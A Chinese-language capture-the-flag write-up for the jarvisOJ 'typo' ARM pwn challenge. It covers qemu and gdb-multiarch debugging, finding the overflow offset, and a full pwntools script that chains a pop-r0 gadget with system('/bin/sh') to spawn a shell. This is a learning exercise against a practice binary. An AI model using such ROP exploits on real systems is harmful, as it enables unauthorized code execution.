jarvisoj_typo(arm_pwn)


第一次碰到arm的题目

对于arm我也是一无所知,通过hollk师傅的博客来学习的这种类型的题目

首先关于环境,没有arm环境的师傅可以看一下hollk师傅的

(20条消息) ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_hollk’s blog-CSDN博客

我是一步步跟着hollk师傅做的,请见谅,我觉得hollk师傅写的师傅详细,推荐去看他的

(20条消息) 通过一道ARM PWN题引发的思考:jarvisOJ_typo_hollk’s blog-CSDN博客

首先通过先运行一下程序观察状态,可以看到程序有三次输入,我这里就只放入第一次输入了

 然后我们将程序链接到1212端口上去

 然后通过debug进行动态调试

gdb-multiarch #启动gdb-multiarch
pwndbg> set arch arm #设置程序架构为arm架构
pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口

 通过之前的推断,判断第二次输入有栈溢出,我们先cyclic创建200字符串输入到第二次输入里面(回到第一个页面进行输入)

 回到gdb页面可以看到程序在标记处发生了异常

 判断溢出长度

在进入ida进行审计,先shift+f12找/bin/sh的地址

 然后通过判断确定system的地址,我这里就放入hollk师傅的判断理由,

 就此我们就可以编写exp

from pwn import *
import time
context.arch="arm"
context.log_level="debug"
overlength = 112
binsh = 0x0006c384
pop_r0_r4_pc = 0x00020904
system = 0x000110B4

p = process(["qemu-arm","./typo"])
payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)

p.recvuntil("quit\n")
p.send("\n")

p.recvuntil("\n")
p.sendline(payload)

p.interactive()

 成功,

又是向hollk师傅学习的一天

加油!